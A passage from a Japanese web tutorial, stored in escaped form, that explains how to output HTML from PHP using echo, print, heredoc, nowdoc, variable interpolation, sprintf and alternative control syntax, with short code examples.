&lt;p&gt;\u3088\u3046\u3053\u305d\u3001&lt;?php echo $username; ?&gt;\u3055\u3093&lt;\/p&gt;\n    &lt;?php else: ?&gt;\n        &lt;p&gt;\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044&lt;\/p&gt;\n    &lt;?php endif; ?&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u30d2\u30a2\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08heredoc\uff09\u3092\u4f7f\u7528\u3059\u308b<\/strong>: \u8907\u6570\u884c\u306eHTML\u3092\u51fa\u529b\u3059\u308b\u5834\u5408\u306b\u4fbf\u5229\u3067\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$name = \"\u4f50\u85e4\";\necho &lt;&lt;&lt;HTML\n&lt;div class=\"user-profile\"&gt;\n    &lt;h2&gt;{$name}\u306e\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb&lt;\/h2&gt;\n    &lt;p&gt;\u8a73\u7d30\u60c5\u5831\u304c\u3053\u3053\u306b\u8868\u793a\u3055\u308c\u307e\u3059\u3002&lt;\/p&gt;\n&lt;\/div&gt;\nHTML;\n?&gt;\n<\/pre>\n\n\n\n<p><strong>PHP\u30d5\u30a1\u30a4\u30eb\u306e\u57fa\u672c\u69cb\u9020\u3068.php\u30d5\u30a1\u30a4\u30eb\u306e\u7279\u5fb4<\/strong><\/p>\n\n\n\n<p>.php\u30d5\u30a1\u30a4\u30eb\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u7279\u5fb4\u3092\u6301\u3063\u3066\u3044\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u62e1\u5f35\u5b50\u306f\u300c.php\u300d\u3067\u3001\u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u30fc\u306f\u3053\u308c\u3092PHP\u30b3\u30fc\u30c9\u3068\u3057\u3066\u8a8d\u8b58\u3057\u307e\u3059<\/li>\n\n\n\n<li>HTML\u30b3\u30fc\u30c9\u3068PHP\u30b3\u30fc\u30c9\u306e\u4e21\u65b9\u3092\u542b\u3080\u3053\u3068\u304c\u3067\u304d\u307e\u3059<\/li>\n\n\n\n<li>PHP\u30b3\u30fc\u30c9\u306f\u5fc5\u305a <code>&lt;?php<\/code> \u3068 <code>?&gt;<\/code> \u306e\u30bf\u30b0\u3067\u56f2\u3080\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059<\/li>\n\n\n\n<li>PHP\u30bf\u30b0\u5916\u306e\u5168\u3066\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u306f\u76f4\u63a5HTML\u3068\u3057\u3066\u51fa\u529b\u3055\u308c\u307e\u3059<\/li>\n\n\n\n<li>\u30d5\u30a1\u30a4\u30eb\u5168\u4f53\u304cPHP\u30b3\u30fc\u30c9\u306e\u307f\u306e\u5834\u5408\u306f\u3001\u7d42\u4e86\u30bf\u30b0 <code>?&gt;<\/code> \u3092\u7701\u7565\u3059\u308b\u306e\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\uff08\u7279\u306b\u4f55\u3082\u51fa\u529b\u3057\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u5408\uff09<\/li>\n<\/ul>\n\n\n\n<p>\u57fa\u672c\u7684\u306a.php\u30d5\u30a1\u30a4\u30eb\u306e\u69cb\u9020\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u8a2d\u5b9a\u3084\u521d\u671f\u5316\u30b3\u30fc\u30c9\n$page_title = \"\u30db\u30fc\u30e0\u30da\u30fc\u30b8\";\n$user = getCurrentUser();\n\n\/\/ \u30ed\u30b8\u30c3\u30af\u51e6\u7406\nif ($user-&gt;isLoggedIn()) {\n    $welcome_message = \"\u3088\u3046\u3053\u305d\u3001{$user-&gt;name}\u3055\u3093\";\n} else {\n    $welcome_message = \"\u30b2\u30b9\u30c8\u3055\u3093\u3001\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044\";\n}\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;&lt;?php echo $page_title; ?&gt;&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;&lt;?php echo $welcome_message; ?&gt;&lt;\/h1&gt;\n    &lt;\/header&gt;\n    &lt;main&gt;\n        &lt;?php if ($user-&gt;isLoggedIn()): ?&gt;\n            &lt;!-- \u30ed\u30b0\u30a4\u30f3\u6e08\u307f\u30e6\u30fc\u30b6\u30fc\u5411\u3051\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n            &lt;section class=\"dashboard\"&gt;\n                &lt;!-- \u30c0\u30c3\u30b7\u30e5\u30dc\u30fc\u30c9\u306e\u5185\u5bb9 --&gt;\n            &lt;\/section&gt;\n        &lt;?php else: ?&gt;\n            &lt;!-- \u672a\u30ed\u30b0\u30a4\u30f3\u30e6\u30fc\u30b6\u30fc\u5411\u3051\u30b3\u30f3\u30c6\u30f3\u30c4 --&gt;\n            &lt;section class=\"login-form\"&gt;\n                &lt;!-- \u30ed\u30b0\u30a4\u30f3\u30d5\u30a9\u30fc\u30e0 --&gt;\n            &lt;\/section&gt;\n        &lt;?php endif; ?&gt;\n    &lt;\/main&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p>\u3053\u306e\u3088\u3046\u306b\u3001PHP\u306fHTML\u3068\u5bc6\u63a5\u306b\u9023\u643a\u3059\u308b\u3053\u3068\u3067\u3001\u52d5\u7684\u306a\u30a6\u30a7\u30d6\u30da\u30fc\u30b8\u306e\u751f\u6210\u3092\u53ef\u80fd\u306b\u3057\u307e\u3059\u3002\u6b21\u306e\u7ae0\u3067\u306f\u3001PHP\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u305f\u3081\u306e\u5177\u4f53\u7684\u306a\u30c6\u30af\u30cb\u30c3\u30af\u306b\u3064\u3044\u3066\u3055\u3089\u306b\u8a73\u3057\u304f\u89e3\u8aac\u3057\u3066\u3044\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-4\">PHP\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u57fa\u672c\u30c6\u30af\u30cb\u30c3\u30af<\/h2>\n\n\n\n<p>PHP\u306e\u5927\u304d\u306a\u5f37\u307f\u306e\u4e00\u3064\u306f\u3001HTML\u3092\u52d5\u7684\u306b\u751f\u6210\u3059\u308b\u80fd\u529b\u3067\u3059\u3002\u3053\u3053\u3067\u306fPHP\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u305f\u3081\u306e\u57fa\u672c\u7684\u306a\u30c6\u30af\u30cb\u30c3\u30af\u3092\u8aac\u660e\u3057\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30c6\u30af\u30cb\u30c3\u30af\u3092\u30de\u30b9\u30bf\u30fc\u3059\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u67d4\u8edf\u3067\u4fdd\u5b88\u3057\u3084\u3059\u3044\u30b3\u30fc\u30c9\u3092\u66f8\u3051\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-5\">PHP\u30bf\u30b0\u5185\u3067\u306eHTML\u51fa\u529b\u65b9\u6cd5<\/h3>\n\n\n\n<p>PHP\u304b\u3089HTML\u3092\u51fa\u529b\u3059\u308b\u65b9\u6cd5\u306f\u3044\u304f\u3064\u304b\u3042\u308a\u307e\u3059\u304c\u3001\u6700\u3082\u57fa\u672c\u7684\u306a\u306e\u306f<code>echo<\/code>\u6587\u3068<code>print<\/code>\u6587\u3067\u3059\u3002\u305d\u308c\u305e\u308c\u306e\u7279\u5fb4\u3068\u4f7f\u3044\u5206\u3051\u306b\u3064\u3044\u3066\u898b\u3066\u3044\u304d\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-6\">echo\u6587\u3068print\u6587\u306e\u4f7f\u3044\u65b9\u3068\u9055\u3044<\/h4>\n\n\n\n<p><strong>echo\u6587<\/strong>\u306f\u6700\u3082\u4e00\u822c\u7684\u306b\u4f7f\u308f\u308c\u308bHTML\u51fa\u529b\u65b9\u6cd5\u3067\u3001\u8907\u6570\u306e\u5f15\u6570\u3092\u6e21\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u57fa\u672c\u7684\u306aecho\u6587\u306e\u4f7f\u7528\u4f8b\necho \"&lt;h1&gt;\u3053\u3093\u306b\u3061\u306f&lt;\/h1&gt;\";\n\n\/\/ \u8907\u6570\u306e\u5f15\u6570\u3092\u6e21\u3059\u4f8b\necho \"&lt;div&gt;\", \"&lt;p&gt;PHP\u304b\u3089\u306e\u51fa\u529b\u3067\u3059&lt;\/p&gt;\", \"&lt;\/div&gt;\";\n\n\/\/ \u5909\u6570\u3068\u6587\u5b57\u5217\u306e\u7d44\u307f\u5408\u308f\u305b\n$userName = \"\u7530\u4e2d\u3055\u3093\";\necho \"&lt;p&gt;\u3088\u3046\u3053\u305d\u3001\" . $userName . \"!&lt;\/p&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<p><strong>print\u6587<\/strong>\u306f\u5358\u4e00\u306e\u5f15\u6570\u3057\u304b\u53d7\u3051\u4ed8\u3051\u307e\u305b\u3093\u304c\u3001\u5f0f\u3068\u3057\u3066\u4f7f\u3046\u3053\u3068\u304c\u3067\u304d\u3001\u5e38\u306b1\u3092\u8fd4\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u57fa\u672c\u7684\u306aprint\u6587\nprint \"&lt;h2&gt;\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb&lt;\/h2&gt;\";\n\n\/\/ \u5f0f\u3068\u3057\u3066\u4f7f\u7528\u3059\u308b\u4f8b\nif (print \"&lt;p&gt;\u3053\u306e\u6587\u306f\u5fc5\u305a\u8868\u793a\u3055\u308c\u307e\u3059&lt;\/p&gt;\") {\n    \/\/ print\u6587\u306f\u5e38\u306b1\u3092\u8fd4\u3059\u306e\u3067\u3001\u3053\u306e\u6761\u4ef6\u5206\u5c90\u306f\u5fc5\u305a\u5b9f\u884c\u3055\u308c\u308b\n    print \"&lt;p&gt;\u3053\u306e\u6587\u3082\u8868\u793a\u3055\u308c\u307e\u3059&lt;\/p&gt;\";\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>echo vs print \u306e\u4e3b\u306a\u9055\u3044<\/strong><\/p>\n\n\n<div id=\"id-da6d819a-397a-48a2-9de2-ad7c6f66b500\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u7279\u5fb4<\/th><th>echo<\/th><th>print<\/th><\/tr><\/thead><tbody><tr><td>\u623b\u308a\u5024<\/td><td>\u306a\u3057<\/td><td>\u5e38\u306b1<\/td><\/tr><tr><td>\u5f15\u6570\u306e\u6570<\/td><td>\u8907\u6570\u53ef<\/td><td>1\u3064\u306e\u307f<\/td><\/tr><tr><td>\u4f7f\u7528\u983b\u5ea6<\/td><td>\u975e\u5e38\u306b\u9ad8\u3044<\/td><td>\u4e2d\u7a0b\u5ea6<\/td><\/tr><tr><td>\u51e6\u7406\u901f\u5ea6<\/td><td>\u308f\u305a\u304b\u306b\u901f\u3044<\/td><td>\u308f\u305a\u304b\u306b\u9045\u3044<\/td><\/tr><tr><td>\u5f0f\u3068\u3057\u3066\u4f7f\u7528<\/td><td>\u4e0d\u53ef<\/td><td>\u53ef\u80fd<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p>\u4e00\u822c\u7684\u306b\u306f\u3001\u8907\u6570\u306e\u5024\u3092\u51fa\u529b\u3059\u308b\u5834\u5408\u3084\u3001\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3092\u6700\u5927\u5316\u3057\u305f\u3044\u5834\u5408\u306f<code>echo<\/code>\u3092\u4f7f\u3046\u3053\u3068\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-7\">\u30d2\u30a2\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08heredoc\uff09\u3068\u30ca\u30a6\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08nowdoc\uff09\u306e\u6d3b\u7528\u6cd5<\/h4>\n\n\n\n<p>\u8907\u6570\u884c\u306eHTML\u3092\u51fa\u529b\u3059\u308b\u5834\u5408\u3001\u30d2\u30a2\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08heredoc\uff09\u3068\u30ca\u30a6\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08nowdoc\uff09\u304c\u975e\u5e38\u306b\u4fbf\u5229\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d2\u30a2\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08heredoc\uff09<\/strong> \u306f\u8907\u6570\u884c\u306e\u6587\u5b57\u5217\u3092\u6271\u3046\u305f\u3081\u306e\u69cb\u6587\u3067\u3001\u5909\u6570\u5c55\u958b\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$title = \"\u4f1a\u793e\u6982\u8981\";\n$companyName = \"\u682a\u5f0f\u4f1a\u793eDexall\";\n\n\/\/ heredoc\u306e\u4f7f\u7528\u4f8b\necho &lt;&lt;&lt;HTML\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;{$title}&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;header&gt;\n        &lt;h1&gt;{$companyName}&lt;\/h1&gt;\n    &lt;\/header&gt;\n    &lt;main&gt;\n        &lt;p&gt;\u5f0a\u793e\u306f\u6700\u5148\u7aef\u306eIT\u6280\u8853\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002&lt;\/p&gt;\n    &lt;\/main&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\nHTML;\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u30ca\u30a6\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\uff08nowdoc\uff09<\/strong> \u306fheredoc\u3068\u4f3c\u3066\u3044\u307e\u3059\u304c\u3001\u5909\u6570\u5c55\u958b\u304c\u884c\u308f\u308c\u307e\u305b\u3093\u3002\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u3067\u56f2\u307e\u308c\u305f\u6587\u5b57\u5217\u306e\u3088\u3046\u306b\u52d5\u4f5c\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$title = \"\u304a\u554f\u3044\u5408\u308f\u305b\";\n\n\/\/ nowdoc\u306e\u4f7f\u7528\u4f8b\uff08\u8b58\u5225\u5b50\u306f\u30b7\u30f3\u30b0\u30eb\u30af\u30a9\u30fc\u30c8\u3067\u56f2\u3080\uff09\necho &lt;&lt;&lt;'HTML'\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;{$title}&lt;\/title&gt; &lt;!-- \u3053\u306e\u5909\u6570\u306f\u5c55\u958b\u3055\u308c\u307e\u305b\u3093 --&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;\u304a\u554f\u3044\u5408\u308f\u305b\u30d5\u30a9\u30fc\u30e0&lt;\/h1&gt;\n    &lt;p&gt;\u4ee5\u4e0b\u306e\u30d5\u30a9\u30fc\u30e0\u306b\u8a18\u5165\u3057\u3066\u304f\u3060\u3055\u3044\u3002&lt;\/p&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\nHTML;\n?&gt;\n<\/pre>\n\n\n\n<p>heredoc\u3068nowdoc\u306f\u3001HTML\u306e\u30a4\u30f3\u30c7\u30f3\u30c8\u3084\u69cb\u9020\u3092\u4fdd\u3063\u305f\u307e\u307e\u51fa\u529b\u3067\u304d\u308b\u305f\u3081\u3001\u5927\u91cf\u306eHTML\u3092\u51fa\u529b\u3059\u308b\u969b\u306b\u975e\u5e38\u306b\u6709\u7528\u3067\u3059\u3002\u307e\u305f\u3001\u30af\u30a9\u30fc\u30c8\u306e\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u6c17\u306b\u3059\u308b\u5fc5\u8981\u304c\u306a\u3044\u70b9\u3082\u5229\u70b9\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-8\">\u5909\u6570\u3092HTML\u306b\u57cb\u3081\u8fbc\u3080\u65b9\u6cd5<\/h4>\n\n\n\n<p>PHP\u3067\u306f\u5909\u6570\u3092HTML\u306b\u57cb\u3081\u8fbc\u3080\u305f\u3081\u306e\u65b9\u6cd5\u304c\u3044\u304f\u3064\u304b\u7528\u610f\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30c9\u30c3\u30c8\u6f14\u7b97\u5b50\uff08.\uff09\u306b\u3088\u308b\u9023\u7d50<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$name = \"\u9234\u6728\";\n$age = 25;\necho \"&lt;p&gt;\u540d\u524d: \" . $name . \", \u5e74\u9f62: \" . $age . \"\u6b73&lt;\/p&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\u5185\u3067\u306e\u5909\u6570\u5c55\u958b<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$name = \"\u4f50\u85e4\";\n$age = 30;\necho \"&lt;p&gt;\u540d\u524d: $name, \u5e74\u9f62: {$age}\u6b73&lt;\/p&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>\u8907\u96d1\u306a\u5909\u6570\u306e\u5c55\u958b\u306b\u306f\u6ce2\u62ec\u5f27\u3092\u4f7f\u7528<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$user = [\n    \"name\" =&gt; \"\u9ad8\u6a4b\",\n    \"age\" =&gt; 28,\n    \"role\" =&gt; \"\u7ba1\u7406\u8005\"\n];\necho \"&lt;p&gt;\u30e6\u30fc\u30b6\u30fc: {$user['name']}, \u5f79\u5272: {$user['role']}&lt;\/p&gt;\";\n?&gt;\n<\/pre>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>sprintf\u95a2\u6570\u3092\u4f7f\u7528\u3057\u305f\u66f8\u5f0f\u6307\u5b9a<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$product = \"\u30ce\u30fc\u30c8PC\";\n$price = 89800;\n$html = sprintf(\n    '&lt;div class=\"product\"&gt;&lt;h3&gt;%s&lt;\/h3&gt;&lt;p&gt;\u4fa1\u683c: \u00a5%s&lt;\/p&gt;&lt;\/div&gt;',\n    $product,\n    number_format($price)\n);\necho $html;\n?&gt;\n<\/pre>\n\n\n\n<p>\u305d\u308c\u305e\u308c\u306e\u65b9\u6cd5\u306b\u306f\u9069\u3057\u305f\u72b6\u6cc1\u304c\u3042\u308a\u307e\u3059\u3002\u5358\u7d14\u306a\u5909\u6570\u57cb\u3081\u8fbc\u307f\u306b\u306f\u30c0\u30d6\u30eb\u30af\u30a9\u30fc\u30c8\u5185\u3067\u306e\u5c55\u958b\u304c\u8aad\u307f\u3084\u3059\u304f\u3001\u8907\u96d1\u306a\u66f8\u5f0f\u3084\u591a\u304f\u306e\u5909\u6570\u3092\u6271\u3046\u5834\u5408\u306fsprintf\u304c\u4fbf\u5229\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-9\">PHP\u3068HTML\u306e\u8a18\u8ff0\u3092\u6df7\u5728\u3055\u305b\u308b\u65b9\u6cd5<\/h3>\n\n\n\n<p>PHP\u3068HTML\u3092\u6df7\u5728\u3055\u305b\u308b\u65b9\u6cd5\u306b\u306f\u3001\u5927\u304d\u304f\u5206\u3051\u30662\u3064\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u304c\u3042\u308a\u307e\u3059\uff1aPHP\u304b\u3089HTML\u3092\u51fa\u529b\u3059\u308b\u65b9\u6cd5\u3068\u3001HTML\u306e\u4e2d\u306bPHP\u3092\u57cb\u3081\u8fbc\u3080\u65b9\u6cd5\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-10\">PHP\u30bf\u30b0\u3092\u958b\u59cb\u30fb\u7d42\u4e86\u3059\u308b\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<p>PHP\u30b3\u30fc\u30c9\u306f <code>&lt;?php<\/code> \u3068 <code>?&gt;<\/code> \u30bf\u30b0\u3067\u56f2\u307f\u307e\u3059\u3002\u77ed\u7e2e\u30bf\u30b0 (<code>&lt;?<\/code> \u3068 <code>?&gt;<\/code>) \u3082\u3042\u308a\u307e\u3059\u304c\u3001\u4e92\u63db\u6027\u306e\u554f\u984c\u304b\u3089\u516c\u5f0f\u306b\u306f\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u3053\u308c\u306fPHP\u30b3\u30fc\u30c9\u3067\u3059\n$isLoggedIn = true;\n?&gt;\n\n&lt;!-- \u3053\u308c\u306fHTML\u3067\u3059 --&gt;\n&lt;div class=\"container\"&gt;\n    &lt;?php if ($isLoggedIn): ?&gt;\n        &lt;p&gt;\u30ed\u30b0\u30a4\u30f3\u4e2d\u3067\u3059&lt;\/p&gt;\n    &lt;?php else: ?&gt;\n        &lt;p&gt;\u30ed\u30b0\u30a4\u30f3\u3057\u3066\u304f\u3060\u3055\u3044&lt;\/p&gt;\n    &lt;?php endif; ?&gt;\n&lt;\/div&gt;\n<\/pre>\n\n\n\n<p>PHP\u306e\u307f\u306e\u30d5\u30a1\u30a4\u30eb\uff08\u30af\u30e9\u30b9\u5b9a\u7fa9\u3084\u30e9\u30a4\u30d6\u30e9\u30ea\u30d5\u30a1\u30a4\u30eb\u306a\u3069\uff09\u3067\u306f\u3001\u7d42\u4e86\u30bf\u30b0 <code>?&gt;<\/code> \u3092\u7701\u7565\u3059\u308b\u306e\u304c\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30d5\u30a1\u30a4\u30eb\u672b\u5c3e\u306e\u4f59\u5206\u306a\u7a7a\u767d\u304c\u51fa\u529b\u3055\u308c\u308b\u3053\u3068\u306b\u3088\u308b\u554f\u984c\uff08\u300cheaders already sent\u300d\u30a8\u30e9\u30fc\u306a\u3069\uff09\u3092\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-11\">\u30a4\u30f3\u30c7\u30f3\u30c8\u3068\u30b3\u30fc\u30c9\u306e\u53ef\u8aad\u6027\u3092\u4fdd\u3064\u30b3\u30c4<\/h4>\n\n\n\n<p>PHP\u3068HTML\u304c\u6df7\u5728\u3059\u308b\u30b3\u30fc\u30c9\u306f\u8907\u96d1\u306b\u306a\u308a\u304c\u3061\u3067\u3059\u3002\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30b3\u30c4\u3067\u53ef\u8aad\u6027\u3092\u9ad8\u3081\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u4ee3\u66ff\u69cb\u6587\u306e\u4f7f\u7528\uff08\u6761\u4ef6\u6587\u3084\u30eb\u30fc\u30d7\u3067HTML\u51fa\u529b\u3059\u308b\u3068\u304d\uff09<\/strong><\/li>\n<\/ol>\n\n\n\n<p>\u6761\u4ef6\u5206\u3084\u7e70\u308a\u8fd4\u3057\u6587\u306e\u4e2d\u3067HTML\u3092\u51fa\u529b\u3059\u308b\u5834\u5408\u3001\u4ee3\u66ff\u69cb\u6587\u3092\u4f7f\u3046\u3068\u30b3\u30fc\u30c9\u304c\u8aad\u307f\u3084\u3059\u304f\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php if ($condition): ?&gt;\n    &lt;div class=\"success\"&gt;\n        &lt;h2&gt;\u6210\u529f\u3057\u307e\u3057\u305f&lt;\/h2&gt;\n        &lt;p&gt;\u64cd\u4f5c\u304c\u6b63\u5e38\u306b\u5b8c\u4e86\u3057\u307e\u3057\u305f\u3002&lt;\/p&gt;\n    &lt;\/div&gt;\n&lt;?php else: ?&gt;\n    &lt;div class=\"error\"&gt;\n        &lt;h2&gt;\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f&lt;\/h2&gt;\n        &lt;p&gt;\u3082\u3046\u4e00\u5ea6\u304a\u8a66\u3057\u304f\u3060\u3055\u3044\u3002&lt;\/p&gt;\n    &lt;\/div&gt;\n&lt;?php endif; ?&gt;\n\n&lt;?php foreach ($items as $item): ?&gt;\n    &lt;div class=\"item\"&gt;\n        &lt;h3&gt;&lt;?php echo $item['title']; ?&gt;&lt;\/h3&gt;\n        &lt;p&gt;&lt;?php echo $item['description']; ?&gt;&lt;\/p&gt;\n    &lt;\/div&gt;\n&lt;?php endforeach; ?&gt;\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>\u4e00\u8cab\u3057\u305f\u30a4\u30f3\u30c7\u30f3\u30c8\u306e\u4f7f\u7528<\/strong><\/li>\n<\/ol>\n\n\n\n<p>PHP\u3068HTML\u3092\u533a\u5225\u3059\u308b\u305f\u3081\u306b\u3001\u4e00\u8cab\u3057\u305f\u30a4\u30f3\u30c7\u30f3\u30c8\u898f\u5247\u3092\u4f7f\u7528\u3057\u307e\u3057\u3087\u3046\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ PHP\u306e\u30ed\u30b8\u30c3\u30af\u90e8\u5206\n$users = [\n    ['name' =&gt; '\u5c71\u7530', 'role' =&gt; 